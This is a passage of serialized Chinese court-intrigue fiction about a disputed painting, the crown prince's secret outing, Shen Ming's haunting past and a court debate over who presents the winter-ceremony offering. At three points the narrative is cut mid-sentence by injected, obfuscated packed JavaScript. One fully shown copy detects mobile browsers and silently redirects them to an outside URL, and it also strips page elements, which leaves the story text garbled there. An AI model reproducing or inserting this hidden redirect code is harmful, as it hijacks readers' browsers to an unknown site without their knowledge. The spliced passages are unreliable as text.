“原因有三。”楚珩朝周岑伸出三根手指,道:“其一,当今知道我皇兄喜好那副神武大帝祭天图的人寥寥无几,周阁老刚好是一个。其二,那幅画有一段不为人知的内情,涉及我那位没能即位的三哥——先太子,这件事更为隐秘,而作为辅佐我皇兄的谋臣,你想必对此也是知情的。其三,自先太子薨世,他的这幅画也随之没了踪迹,而他临终前能接触到的人,也不过那几个,周阁老就是其中之一。” “……”周岑沉默了片刻,半晌终于道:“分析得不错,但此事真与周某无关,况且殿下怎么就一口咬定,那幅画是当年先太子所画的那副呢?” 楚珩愣住了,这就是这件事令人疑惑之处。若说当今真有人能看出来那幅画究竟是不是当年先太子所作,只怕只有陛下能瞧出来了。 只听周岑接着说:“若我手里有这幅画,假如它就是先太子遗作,而周某想利用它让太子和陛下之间生出嫌隙,我都不会如此大费周折,把太子哄骗出宫,因为太子出宫,就会生出变数,就像现在这样。” 楚珩觉得周岑说的有理,其实他也只是试探。“阁老说得对,只是那幅画究竟是谁要给太子?其目的究竟是什么呢?” “璃王殿下不是马上就可以找到答案了么?罗先生不认识此画作,竟然将他随意就给了姜长鹰的卫将,殿下就顺水推舟,让姜长鹰献画,届时陛下是高兴还是震怒,不就一目了然,而献画给太子的那人是何目的,也就清楚了。” 楚珩冷笑了一声:“知道又怎样,终究不知道他是谁。不过……”楚珩看向周岑,“那名蔚王安插在东宫的内监呢?周阁老可有问出什么?” 周岑摇摇头,“此人眼见蔚王失势,做事情就开始只凭自己臆断,原以为能凭借这件事彻底讨好太子,没想到弄出这么大阵仗,被我抓住后,自羟了,我当时听到东宫有异就来殿下这里了,忘了交代属下们看好他。” 楚珩才想起来这件事其实应该感谢周岑,便硬邦邦的说了句,“是呢,多亏了周大人及时相告。” “殿下,周某自那次去琼琚楼就打定主意和殿下荣辱,时至今日,周某无需殿下道谢,只希望殿下别看周某为人是否讨喜,而只看周某所作所为是否是为殿下考虑。” 楚珩听他此言颇为动容,忽而想起自秋日换仓拨粮之后,周岑确实一直坚定的站在自己这边,还给出了不少十分有利的谋划。而自己却一味觉得他言行不讨喜,时常生出抗拒和怀疑。 楚珩转过身,正面瞧着周岑道:“本王一向甚少和人交心,俗话说日久见人心,周阁老勿要见怪,这次东宫的事若能顺着我的意发展下去,周阁老功不可没。”这是楚珩第一次面对周岑,把话说的这么真心实意。 “罢了罢了。”周岑也少见的爽朗一笑,云淡风轻道:“此事是殿下的主导,我只是个传信的,看来周某没跟错人。殿下足智多谋,您属下罗先生也是个身手不凡,办事利落果决的人。将来必定还有更多人杰簇拥而来,周某只希望那时,殿下不要把我晾在一边就行。” 周岑最后一句话说的随意,但是难言悲凉之感,楚珩似乎瞬间明白了其现在处境的无奈,以及选择自己的原因。他在周岑眼中看到这点悲凉后,拂去了心底潜藏许久的疑惑和隐忧,前所未有的松了一口气。 ****** 罗途明一身轻松,随意的倒在醉翁椅上,昔闻看出他的好心情,好奇道:“二爷……” “你想问什么便问。” “为何您要将那幅画送给那名卫将。” “啧。”罗途明嫌弃的一声,“我这不是奉命办事吗,怎么,你喜欢?下次我挑点名贵好看的送你便是了。” “不是。”昔闻不耐烦道:“我说的是第一次,在西郊山林里,那时您还没有得到璃王的指示,一拿到那副画就顺手送给他了。” 罗途明突然顺着昔闻的话,回想起了与丁越两次相遇的场景,挑着嘴角笑道:“你不觉得此人比较特别吗?” 昔闻仔细回想,思忖片刻,“属下愚钝。哪里特别?” 罗途明屈膝盘起一条腿,另一只脚一下一下的点着地,自在的摇着身躯道:“特别好看。” “……”昔闻有点不快了,“二爷这么说,我也觉得,他身手也特别好,两次差点取我狗命。”昔闻说完提着眼珠瞟向罗途明。对方并无表示,还在数着杏仁。 昔闻不死心。“二爷,狗的命也是命啊。” 罗途明不在乎,“有什么的,我会救你啊。” “二爷难道每次都能及时赶来救我吗?” “那是自然,救你不亏,不然这么有趣的小公子,我还真遇不到。”嘎嘣一下,罗途明扔了一颗杏仁给自己,“何况以后他不会杀你了,我这不是已经送他画了嘛。” 昔闻走过去,拿走桌上的果盒,“二爷此言差矣,人家并不知道送他画的是刺客。他杀不杀我,也不在于二爷这一幅画。” 昔闻转身走了,门被带上,罗途明闻言愣住,嘴里的果子也没了味道。 ****** 是夜,北林特意准备了沈溟爱吃的菜,却左等右等也不见这人来。 三更天的时候,乔广陵在梦中惊醒,北林听见动静,掌灯进去看望。轻推门扉,屋内灯火暗淡,窗外霜寒之气袭来,格外浓重,北林刚要嗔怪乔广陵如此寒夜也开窗,还没开口,坐在床沿的乔广陵顿时瞳眸惧震。 自家主子肯定不是看到自己才这样, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“沈家多出武将,世代忠烈,沈尘寄当年任五成兵马属司总都督,在职时兵马属司上下一体,铁板一块,提起他,不仅在永益城,就是军中,也是许多人敬仰的英雄。可终究时过境迁,如今永益城的世家大族,谈到先任五城兵马属司总都督沈尘寄,只会说他儿子是个杀师弑兄的混账纨绔,但是对于天元十七年沈尘寄突然卧病在床的事讳莫如深。” 天元十七年,那也是北林不愿提及的一年,而对于那一年的事,却镌刻在记忆深处,清晰彻骨。 “那一年时运不好得很。”北林如是说,随即又说回沈溟,“只是沈都督突然病了,却不知缘由。” “事出必有因,凡事越是找不到根源或越是被传得离奇模糊,就越说明,有人存心混淆视听,从中作梗。” “沈都督是天元十九年仙去的,三年后就出了那件事,所以现如今有人怀疑沈都督的死也……” 乔广陵没有说话,他回过头,隔着屏纱,看不清沈溟此刻的表情,但是乔广陵知道他在梦里坠着,逃不掉的梦魇让他沉浸在痛苦里。“他不是今夜才这样,他一直都是这么过的。” 36.往事(下) 床上的沈溟猛然惊醒喊了声“父亲!” 十三岁的沈溟脸色惨白。他额头束着纱布,里面渗出淡红血迹和褐色药水,彼时他也是这样踉踉跄跄的跑到乔府,被乔广陵捡回了家,然后就这样浑浑噩噩躺了两天。 乔广陵和巫马儒闻声赶来。 “沈世郎!”乔广陵扶着小沈溟的肩,“你晕倒在我府中后院,身上也受了伤,究竟发生什么事?” “我……我不小心,摔倒了,练剑的时候,摔倒了,神志不清,乱跑的。” 巫马儒和乔广陵对视了一眼,此刻房内边几上放着的,分明是沈溟随身携带的刀。小小年纪的沈溟,就是用这把形状有些许怪异的刀,砍了巫马儒种在后院的所有桂枝。 “沈世郎,你的伤只是皮外伤,你是遇到什么别的事了吗,还是遇到了坏人,可以和乔娘说说。” 巫马儒声音轻灵悦耳,沈溟这才抬起头,仔细看了眼巫马儒,她眉宇深邃,带着琥珀色的瞳里泛着水盈盈的光,沈溟紧绷的神情倏忽舒缓几分。他呆呆的看着巫马儒,一点泪不经意滑落,啪嗒滴在乔广陵手上。 两天了,沈溟病倒的两天里,沈尘寄的死讯传遍了永益城,像是被这滴泪灼痛了,乔广陵不忍再问。巫马儒和乔广陵心照不宣,她伸手拂去沈溟的泪痕,这一抚像是触碰掉表面的冰凌,冰河刹那决堤,沈溟扑进巫马儒怀里哭了许久。 一直哭到再次昏睡过去。 泪流的太多了,沈溟头昏脑涨,在又湿又热的梦里看到了自己的父亲。弥留之际,沈尘寄清醒而又无力。十三岁并不成熟,但是父亲没有时间了。 “你,你必须承担起这一切……” “我不逼你做一个的建功立业的沈家子,毕竟我这辈子,没能抚育你成长,你恨我,也没关系……” “但,但是你必须记住……宁做纨绔公子,勿做奸佞朝臣。”沈尘寄一字一句,沈溟刻骨铭心。 “你要是记不住,我死也……瞑目,不,得……” 沈尘寄溘然长逝,沈溟还剩下他的师傅和师兄,在旁人的惋惜和稍感庆幸中,沈溟看似并不孤单的长到了十六岁。 乾泽三年,沈溟手持利剑,亲手屠杀了自己师傅和自小一起长大的师兄。那天他没发狂,但是乔广陵得知此事后寻了沈溟许久,再见他时已是一旬后,沈溟轻摇折扇,说要去乔广陵家吃桂花酿。师傅师兄的尸身被有司处理了,知尹府发告示言明苏氏父子之死盖因其学武乱了心智所致。沈溟并未在意,连尸身都未去认领,继续潇然自在过着日子,只是这次再无人怜他往后孤冷无依。 如此沉寂半年后,沈溟摇身一变成为了武城兵马属司里的千户大人。 平日里飞扬跋扈的沈千户偶然犯病,每次都会倒在乔广陵能拾到的地方。此番情形已经许久未见了。乔广陵心疼又不忍,回忆的楚痛裹挟着他,他不忍在沈溟面前多提一个字。只是在他没有注意的角落,北林同样如是。北林只是默默观察着他,试图在乔广陵此刻的眼神中读一读究竟,但终究也只是在那双眸色里找见了同样痛苦的自己。 ****** 这几日都没见到沈溟,听说病了,倪昌又肩负起送配给的任务。 旅邸官员众多,倪昌分配好,让几个得力的分头行动,自己则亲自去了重要的使节和官员府中。轮到江南都指挥使府,倪昌便抱起寻人的目的走进去。不想自己要找的人——丁越依然站在廊下,指挥着府兵接应配给,倪昌顿觉自己此举多余。倪昌亲自将档录递过去,丁越并无异色,彬彬有礼的接过去比照完,留了个字,还给了倪昌。 “丁公子。”倪昌盯着纸上遒劲的字迹,“如果府中有何需要帮助的地方,尽管跟倪某人提。” “多谢千户大人,我想,应该是没有什么特别的需求。” 看似道谢,实则回绝。看丁越其人,不像是个无端记仇的。但是回想那日丁越离开兵马属司时说的话,显然是知道抓他进兵马属司的是沈溟,并且较上劲了。倪昌琢磨要不要告知他沈溟因病告假之事,顺便也解了之前沈溟将人关在茶屋却迟迟不审的误会。 “我倒是有一事想问。”丁越还是如常的语气,“那日的闹事者,五城兵马属司有没有抓住?” 沈溟那日雷声大雨点小,倪昌也不知沈溟究竟在抽什么风,又或者他真的有其他要务在身,故意整了这么一出,在属司多年,倪昌深谙官场办差时的手腕,也明白其中忌讳。“闹事者造成的损毁兵马属司已经着人上报,至于事情的处理,若有当事者去属司呈报内情或检举揭发,兵马属司自会给一个交代。不知,沈公子是作为知情者,有内情相告?还是作为当是者,有诉所陈?” 面对诘问,丁越没有波动,“倪昌大人之前询问了我的居所姓名,若在我这一节有眉目或者有疑问,我就在旅邸,冬遇大典之前,丁越静候兵马属司的千户大人前来问询,丁越愿鼎力配合。” 句句诚挚,又不怕惹事上身,看似一派坦然高高挂起,又貌似知晓内情,就等人来问。倪昌实在不明白丁越为何主动提及当日之事,换做旁人巴不得就此揭过,任其被定性为兵马属司错抓。想不通,但是总不会是姜长鹰府中的卫将,真的关心兵马属司差务,想要协助一二? “丁公子一片热诚之心,倪某先行谢过。”倪昌不好就此事展开,并未多问。谢过了事,一股脑走了。 丁越站在原地,不多时姜南阗、姜南疏、姜南羿并卫将们齐齐凑过来,看着倪昌的背影,各有所思。 “看倪大人的神色,他并不知晓这幅画的存在。”江出说。 黄其甫道:“何止是倪大人,我看整个兵马属司都不知道这幅画的存在。” 丁越回忆了下,“扣留我的若是沈千户,那他究竟是不是为着这幅画呢?” 姜南羿和姜南疏对视一眼,道:“应当不是。”姜南羿想起那日追逐自己的沈溟,他认为,沈溟的目的不在画,而在那被他阴差阳错救下并护送回家的孩子,确切的说,沈溟的目的是寻找跑到宫外的太子。 “莫非这画真的出自璃王府?”姜南疏补充道:“那为何盗画的贼会和东宫当街产生冲突?” 因着观澜港一战,姜南阗对于沈溟情愫不同,“我觉得,沈千户未必知道他抓了谁。我的意思是,到现在为止也未必知道。”他看向丁越,似有宽慰之意。丁越脑中却萦绕了那日茶屋外两属兵的对话,心情并未好转。 ****** 丝布编织的络子在永益城并不常见,且这丝条上还有一些暗纹。具体是什么,看不清楚。络子里面裹着的玉未经雕琢,紧握手中能感觉玉石边缘的棱角。乔矜看的入神,以至于乔广陵进来的时候都没有察觉。 乔广陵在身后咳嗽了一声,乔矜恭恭敬敬的起身,给自己的父亲行了礼。乔广陵摸了摸儿子的脑袋,示意他坐下,自己也在案牍边筵席上盘腿坐了。这种矮案并不适合看书,乔矜平日更喜井心阁的桌案及陈设,还有那张硕大的软榻,累了就可以在上面小憩,实在舒服得紧。但是静心阁就完全是另一番景象了,除了里卧的床,外厅就只有存放书籍的边几,中间一方矮案,连个粗布软枕都没有。暖庐炭火毕毕剥剥,除此之外别无声响,不愧名曰“静”。 乔广陵心软,尤其看到乔矜一副既来之则安之的样子,忍不住关怀道:“这几日住在这里,可冷么?” “不冷。”乔矜摇摇头,冲着乔广陵微微一笑。 “关于那副画太子可有详说?到底是一副怎样的画?太子又是怎样确定区区一幅画,能够拿来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575951|164060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为陛下和合妃祝寿?” 猝不及防,乔矜纯真的笑意未来的及收起,僵着脸道:“呃,太子表哥说他没来得及打开仔细看,但是知道那画所描绘的乃是神武大帝祭天祈福的图景。” “旁的还有吗?” 乔矜摇摇头,倏忽又想起来似的,对乔广陵说:“父亲知道那名内监是谁。”乔矜指的是撺掇太子出宫的宦官。 乔广陵并未回答,反问:“你怎么知道是内监,而不是其他的什么人?” “我们行事便利的地方,必然也是有心之人能找到漏洞之处。” 乔广陵莞尔,把乔矜揽进自己怀中,柔声说:“有我在朝一日,我希望你更多的时候能静观其变,你的首要任务,就是辅佐太子,现在如此,将来亦是如此。” “爹爹,”乔矜抿了抿唇,“万一……太子表哥将来不是个好君主呢?” “……”乔广陵默然,他没想到乔矜会这样问,“好与坏,怎可轻易判定,若你我竭尽全力,他势必会成长为你我认知中的好君主。” 乔矜垂眸,这个回答乔矜未必懂,或者说未必接受。 “爹爹,我们认知的好,真的是天下人需要的好吗?” 乔广陵这次没有循循善诱,他温柔而又坚定的说,“必须是!”屋内落针可闻,暖庐里未熟透的碳爆裂开来,炸出一簇小小花火。乔广陵握住儿子有些凉意的手,默默捂着。 ***** 沈溟这次躺得比较久,第三天的时候,他意识模糊的抓着北林胳膊说,“快,快去给我找匹马,我要去坞城。” “你魂丢在坞城了?”北林手臂一抬,摇下沈溟的手,纳回被子里。“好好躺着吧,哪也别想去。” 沈溟缓缓睁开眼,终于醒了,他揉了揉眉心,“哎,怎么是你。” “你好像很失望?” 沈溟不欲再睡,挣扎着要爬起来,“我这是……躺了多久。”每一寸骨头都锈了般,起身时不听使唤,动一下就磨得浑身酸麻。 北林去搀他,“今天是第三日了。现下是申时。” “居然躺了这么久?” 北林似是冷笑了一声,撇了撇嘴角把脸转过去,低眉拨弄手里的绢布,那是用来给沈溟拂汗的。沈溟想起自己梦醒时分对眼前的恩公出言不逊,立即识相的找补说:“躺了这么多天,真是辛苦北林兄照拂了。” “发生了什么事?”乔广陵还未回府,北林这两天都守在沈溟身边,比起乔广陵的小心翼翼,他不信沈溟还能像之前那样无故发狂,把自己弄得这样狼狈,因此直截了当就问了。“我记得你那日……原是要回兵马属司提审谁。” 如同被激了一下,沈溟当即弹起来,“对了,闹事的,西郊抓的闹事的,关乎太子出宫,我想着唯一线索,只能是试着问问这个人了。”忽而想到此时已经是第三日了,转而问一脸淡然的北林,“对了,那日一开始回宫的不是太子,那马车是空的?” 北林摇了摇头。 “那后来呢?太子可有及时回宫,回宫后可有说什么?” 北林点了点头。 “……我说你……”沈溟急了。 “比较复杂。”北林道,他略有犹疑,不确定是否要对沈溟和盘托出。“这几日各方消息一点点拼凑,个中内情只是估摸了个大概,而且,那名闹事者……” 北林忽而不说了,他侧目看向沈溟此刻脸色依旧惨白,乌发泼墨般散落在腰间。北林终究只是说:“被你扣在兵马属司的人非是闹事者,已经被放走了。” “也对。”沈溟紧盯着北林的神色,干涸的唇微微动了动,“这么久了,倪昌没道理不放人。”嘴上虽如是说,但心里已经决定,等下了床,就立即再去把人抓来扣押着好好审一通。 37.献礼 腊月十二,早朝各部官员呈报遗留或未毕事宜。诸事走向自有议案或大致定论,乾泽帝听完一耳朵,无需真的过问操心。吏部百官考绩出了大概,乾泽帝私下已经知晓,朝堂上按下不表。此时节满朝文武,均将重点放在冬遇大典,而这其中,最忙的当属牵头的礼部。 群臣心照不宣,早朝重头戏,落在礼部赵荣木身上。赵荣木抖着山羊胡,声音略略沙哑,看上去倒是比太仆寺丞更加仙风道骨。 “启奏陛下,太仆寺近日就冬遇大典择良辰吉日问天,以事为纲,神为目①,得天授意:腊月十五日天德在位,诸事皆宜,巳时开典,宴客,以为吉。酉时三刻,宜开坛祭祀,承天降福祉。”赵荣木双手捧着拟好的大典章程。邱侣走下丹墀,接过那奏疏,跪呈给了乾泽帝。 这份礼部奏疏不经由督察员和内阁,而是直陈御前,乾泽帝一一看过,问众人:“诸位爱卿,听了赵卿所言,可有异议?” 自古天地人文,凡大程读书人都可演算一二,在朝在野精于此道者也并非屈指可数。只是天家生辰以及阖宫里妃嫔媵嫱等人的生辰八字,都秘密录档存于太仆寺,因而这份奏疏,朝中诸臣只能在太常寺的章程拟定上挑毛病。 众人无话,乾泽帝却微微皱眉,看向了赵荣木。“赵卿,平日除了纠察百官,朝堂政务可有耳闻?” 这话听着像讽刺,但是赵荣木仍然一脸坦然,答:“回禀陛下,臣不才,虽忝居礼部尚书一职,但朝廷诸事,臣亦时刻关注着,不敢躲懒。” “既如此,那为何庆东盐提司,会出现在这章程上?” 庆东淮城醒茶港盐提司纳兰通,是蔚王赵瑭的小舅子,也是其在庆东主要势力。二人狼狈为奸犯下盗换军粮这样的滔天大案,罪责刚刚定下,乾泽帝并不想过多提及。一干人等多数尚在刑狱,并未处置。刑部在此事上也是按部就班,详细事宜都先与内阁商讨完,再呈奏御前。按理说,在冬遇大典这样君臣同乐的重要日子,无人会再提及蔚王一党,即便有不得不提的理由,也不会在早朝之上。赵荣木直接将涉案主犯编排进祭祀大典章程中,无异于忤逆圣意。 老臣赵荣木必定有自己的说辞,“陛下,冬遇祭典有一节谓之忏悔,实为国主或朝臣诚心表明过往之错,诚心悔过,此一章程是祭典重要章程,不可马虎。” 祭典忏悔,缘起于先朝国主,为了以自身为表率,在祭典当日宣读罪己诏,君王尚且有过且能当众自省,朝臣哪敢只听不做,纷纷于祭典之上诚表己过。一时传为佳话,祭典忏悔一节也因此沿袭后世,本为治国之策,后来演化为章程。后世所谓忏悔,少有皇帝写罪己诏书,多为内阁或司礼监秉笔粗略写近年天灾,或表黎民疾苦,求上天收回惩处,以帝王为首,满朝文武斋戒禁乐禁宴禁酒,以祈福泽。 忏悔一节可大可小,若真拿出来说,无人敢明言要将这事一带而过,走走过场。赵荣木开了这个口,可见今年冬遇大典,忏悔一节是有文章要做的。若为朝局社稷也就罢了,若是虚张声势又惹得龙颜不悦,赵荣木岂非要白白断送自己的仕途? 乾泽帝倒是来了兴致,礼部平时闷声不响,满腹才华只恨无用武之地,如今借着冬遇,好好施展一番,也十分能理解。于是乾泽帝面色祥和的点了点头,语气肯定的嗯了一声。 展光前莫名有点烦躁,要知道纳兰通如今还在他的大理寺天牢关着呢。“宋大人,怎么才能显得不马虎呢?不马虎和这罪臣上祭祀大典之间,有什么必然的联系吗?” “当然有联系了,纳兰通所涉案件,不用我多说,内阁、刑部和大理寺是最清楚的,一方面是江南水患中挣扎求生的百姓,一面是驻守暮北的十二万大军,连年灾民把粮食上缴观澜仓,本以为是送到暮北军手里,到头来却被这等国之蛀虫所截。而且这种事还不止一次两次,而是自天元年间就一直发生。冬遇大典,正是一个好机会,给天下人一个交代。”赵荣木语气平静。 今冬诸多朝事的阴霾并未散去,只是暂时压下不提,此刻好像被重新被抖了一抖,又盖在了奉天殿的琼宇之下。 无人在意处,还有一个人已经被“观澜仓”“江南”“暮北”等字眼激得恍了神。 的确需要给天下人一个交代,军粮案,含糊过去,不知会寒了多少百姓及边关将士的心! 展光前更加不死心了,硬着脖子问道:“为何定是纳兰通?”咽下了后半句:为何不能是该死的蔚王? 邢部张松几不可查的哂笑了一声,但是展光前却好像听见了,他拧过头,挖了张松一眼。张松忽然拱手道:“展寺丞,依我看,这人还真必须是纳兰通。” 展光前捏着笏板,侧目看他。 乾泽帝轻轻抬手,展了展袖口,君王的细微动作朝臣分外在意,张松也不敢卖关子,“军粮案,纳兰通属于罪魁祸首,自天元年第一次作奸犯科起,纳兰通就参与其中,若说忏悔,其罪从主犯,且纳兰通的身份……不仅仅是一个盐提司那么简单。” 众人皆知,虽说此案幕后主使是蔚王,但蔚王乃直系皇戚,且是乾泽帝破例亲封的一字亲王,让他站上祭典忏悔,等于是在申斥乾泽帝。另蔚王如今状态,已经不适合面圣,更不适合再出现在天下人面前。而纳兰通则是蔚王妃弟弟,蔚王的小舅子,罪同蔚王,也能代替蔚王。但此番话不可明说。 展光前在三司之列,怎会不知,但是有点想让张松骑虎难下,佯装糊涂,继续问。“怎么不简单?” “在朝为臣,在族为皇戚,又因为管着醒茶港要务,把持着庆东军。且利用海港位置之便,将盘剥的盐、茶以及军粮药材暗自开设互市。” 张松说到这里,众人豁然,兵部张启慧道:“只知纳兰通以权谋私其罪当诛,竟不知一个人,犯案可以犯得这样全面而广泛。” 朝堂上许多人颔首,忽然都觉得无人比纳兰通更适合做这个陈罪忏悔之人。 “不过最重要的是,身为大程朝臣,却忘了自己忠于的人是谁,忘记根本,后面错成什么样也不奇怪了。”内阁周岑道。 朝臣感慨声四起,乾泽帝将礼部的奏疏递给了邱侣,示意其宣读。接下来就是朝臣就章程集思广益的时间了。各中细节不表,无非所涉流程触及到哪部哪科之时,在职官员会多说几句。但是到了献礼一节的时候,礼部没有拟设名单。 邱侣念完,顿住。赵荣木立即行礼:“诸位大人,这最后献礼一节,乃祭典最后一道章程,这献礼的内容有所要求,看似选人,实则选祭祀祥瑞之士,而这进献祥瑞之人最好是有功之臣,或是国士,能教朝野上下信服。恕下官愚钝,满朝文武,臣以为,这人选,实难抉择。” 除了代表国祚祥瑞,赵荣木还有一点未言明,能够成为终献之人,其实就是保了至少十年的官运,此后官阶只会升不会降。至少乾泽帝在位之时,能保住在朝中的地位稳固。而因为赵荣木强调了忏悔一节,即是说此人要承授天意,申斥忏悔者,原谅所省之事。过了这一道流程,才可以凭借所献之礼接收天降福泽。虽说忏悔之人变成了纳兰通,但是谁能代表这个申斥之人?此人能教八方拜服,却又不能过于德高望众。威压过高,则有斥君之意。何止是礼部难抉择,放眼整个朝堂,也无人敢自荐亦无人敢推举。推举任何人,都是给别人出难题,这倒是其次,最重要的是,此举关乎国运风水,一时间无人开这个头。 乾泽帝笑了,“为难赵卿了。忏悔一节定得甚好,想必这最后一道章程,你也做了些设想,不妨先说来听听,你一个名都不拟,指望朕帮你,你也得做个抛砖引玉的态度。” 宋荣木支支吾吾,说了个名:“乔……乔太师。” 乔广陵! “这个人好,身在朝中却不在朝局之内。”展光前点头,内心嘀咕。又左右瞥了眼,见有人颔首,有人摇头,意见并不统一。 “乔太师,行事潇洒无惧,尤其是在要事上总是颇为随意,把献礼交给他,就怕他的献礼……”吏部宋庸说着,摇了摇头。 老人家话说得中肯,这确实是乔广陵的毛病。 “确实啊,就怕献礼全凭本性喜恶,反倒不能用来承接福祉,届时就算乔太师舌灿莲花,黑的说成白的,也无济于事啊。” “要么,黄老太傅?” “老太傅七十高龄,且远在双英城,来不及另说,老人家经不起颠簸了。” “我看看,永益城中名流之士众多,陛下前两年礼遇贤士,不也尊过不少客卿嘛。” “不可不可,尊为客卿乃陛下礼遇,身份尚且不论,真才实学多数不及詹事府学士。” …… 朝堂上七嘴八舌,叫不出名姓的无人信服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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乾泽帝本也没有意见,但当听到那句代替江南百姓和暮北军之时,面色微微不渝,只是无人察觉。 晁三易反驳道,“陛下,老臣方才还未说完,老臣认为,君命天授,献礼就在祭典仪式上进行,众臣推举者争相进献,最后由陛下圣心亲定献礼和人选,不知陛下觉得可否?” 高殿之下,众人姿态一览无余,乾泽帝目光投射在那方角落里,缓缓开口,“就依阁老所言!” 晁三易倾身,“是。”礼毕归位。 赵荣木领命,高呼“陛下圣明。”众人亦山呼。 末了,乾泽帝扬起嘴角,道:“姜爱卿!冬遇大典,爱卿同太师及大程栋梁之才一同献礼,这场面倒叫朕十分期待。” 姜长鹰无话,恭敬的倾身,礼尚未毕,只听邱侣唱了起驾,乾泽帝拂袖,径自走了。 ****** 沈溟回到兵马属司的时候,倪昌正从旅邸回来。 “沈溟!病好些了吗,生病也不在府中,我去你府中探望也找不见人。” “好全了,在医庐呢,大夫绑着不让走。” 看到他手中的档录,沈溟这才意识到自己又错过了什么。“下一次送配给是不是三日后?” 倪昌乜了沈溟一眼,“三日后冬遇大典,无需送配给了,我这是最后一遭。” 沈溟愣住了,“这么快吗?”从姜家入都,到如今,已有近大半月有余,沈溟以手支颐,叹了口气,懊恼道:“我这混蛋都在忙些什么啊。” “你在忙着抓美男子。”倪昌冷冷道。 “!”沈溟忽然想起来,“倪兄,听华亭说那天那人是被璃王的人带走的?” 倪昌拿起绢布擦了擦手,看了沈溟一眼,“不止如此,你可知那是谁的人?” “看样子并非璃王自己的人。” 倪昌拿起那档录,指了指。 “旅邸?”璃王居然和旅邸官员有牵扯。 “我看那人知道抓他的是你,有点记仇,如果他牵涉的不是什么要紧事,你还是不要沾边了。好歹旅邸的人,在永益城也呆不久。至于璃王,是个通情达理的闲王,你什么德行,他也知道。此事还是一带而过,不如别提了。” 沈溟有点迷糊,等到倪昌提着剑欲走的时候,沈溟不死心,“旅邸哪个府的,叫什么。” 倪昌脚步一滞,冷笑一声,回头看着沈溟,“江南都指挥使府,姜长鹰卫将,丁越。” “……什么!” 38.冬遇 近日永益城巡防更严,城中也似乎比往年更加热闹。 丁越因着被兵马司抓,反而没有受到处罚,进出自如。原本也不是爱玩的性子,偏偏在姜家儿女和卫将都不被允许出府的这阵子,丁越寻到空就不见了踪影。 西郊山林,再往里就是皇林,丁越想起那日在这里跟丢的那两名刺客,从瑞城到永益城,从杀人灭口到盗取画作,他们究竟是什么人,又是谁的人?丁越百思不得其解。永益城万里无云,但是晌午的西郊山林依然阴冷,风过处寒意明显而刺骨。丁越心烦意乱,愁绪满怀,不禁抱怨道:“永益城真没意思得紧。” “怎样才算有意思呢?” “……”丁越回头,“罗公子?” “不是说了,叫我子信吗。”罗途明今日着一身黑毛滚边狐裘,他眼眸明亮,笑的明媚。 “阁下寻我至此处,是有什么事吗?” 罗途明走到丁越边上,“我来寻回那副画。” 四目相对,丁越还是冷冷的,罗途明噗嗤一声笑出来。“小公子,不是璃王殿下着我来的。只是我个人,想着来找你玩罢了。” 丁越半信半疑,但还是温声说,“罗公子,我叫丁越。” “丁越!”罗途明明晃晃的瞧着丁越“你有巫马族血统?” 丁越低眉微微一笑,算是默认,乌黑的长睫盖住星星点点的瞳,抬眼时又是似布满星河般,罗途明第一次这般近又清楚的看他,竟有些失神。 “那画我收下了,罗公子若是也喜欢,我下次带出来给你观赏。” 竟这么快就当做自己的宝贝护着了。罗途心中暗笑,嘴上却说,“难得丁公子喜欢,那这幅画也算有点价值。” “罗公子抬举了,那画本就价值连城,有价值的东西,谁不喜欢呢。” “此话倒不假,那可是包括当今陛下在内许多人的心仪佳作。”罗途明倚着一颗树,抱臂望天。 “罗公子。”丁越像是犹豫了一下,还是忍不住问道:“若是陛下见到那幅画,必定会龙颜大悦吧。” 罗途明神色不似方才那般的松弛,看着丁越答:“那是自然。” ****** “确定要用这幅画作献礼吗?”北林再次询问乔广陵。 “是的,太子从来不知有这幅画,能说出这个名字,必定就是它了。”乔广陵站在桌案前,看着未完的画作,“按照那人的计划,他费尽心机撺掇太子出宫,要么是别有目的,要么就是为了让太子在祭典上献出这幅画,而其中用意,不得而知,只有按照那人预想的让事情进行下去,或许,我们能窥探点内情。”乔广陵在砚池中舔着墨,在一副即将完成的画作上又添了几笔。 沈溟拿着乔矜的巫牌,趴在矮案上独自把玩。“你确定那画是这么画吗?‘神武大帝祭天图’,本朝有幸看过这幅画的人都说那是一坨泥,你画得再妙不可言,不一定真能入得了陛下的眼。” 听他揶揄,北林和乔广陵互看了一眼,“沈御史下了床就直奔兵马属司,查到什么眉目了没有?” 沈溟摇摇头,“查了一圈,姜家那几个倒是激灵,知道动静不小,特意又返场表演了一出戏,正好撞上倪昌,这下姜家几个在街头闹事的证据是有了,却和太子出宫的事毫无关系。” 北林笑道:“那货摊老板整日招摇撞骗,这下好了。以后可要收敛点了罢。” 巫牌以岌岌可危的姿态堆得很高,沈溟专注的叠着,“太子出宫这事,姜家那几个孩子的确是无意搅进来的。但是,我还是很苦闷。” “沈御史苦闷什么?苦闷姜府的人居然和璃王有牵扯?”北林淡淡道。 沈溟摇摇头,“什么御史,自从江南回来,我就不是什么巡按御史了。” 乔广陵画完了。 北林长臂展开那画,一边看一边和沈溟道:“你既知道,还苦闷什么呢?不过是在江南共事一遭而已,而现在这里是永益城。” 纤长手指捻着最后一块巫牌,小心翼翼的砌了上去。沈溟站起身,“乔大人呢?” 乔广陵放笔的动作顿了顿。 沈溟接着问:“短短半月,姜家就和璃王有牵扯,你心中不苦闷吗?” 苦闷!北林不用看乔广陵的脸也知道。 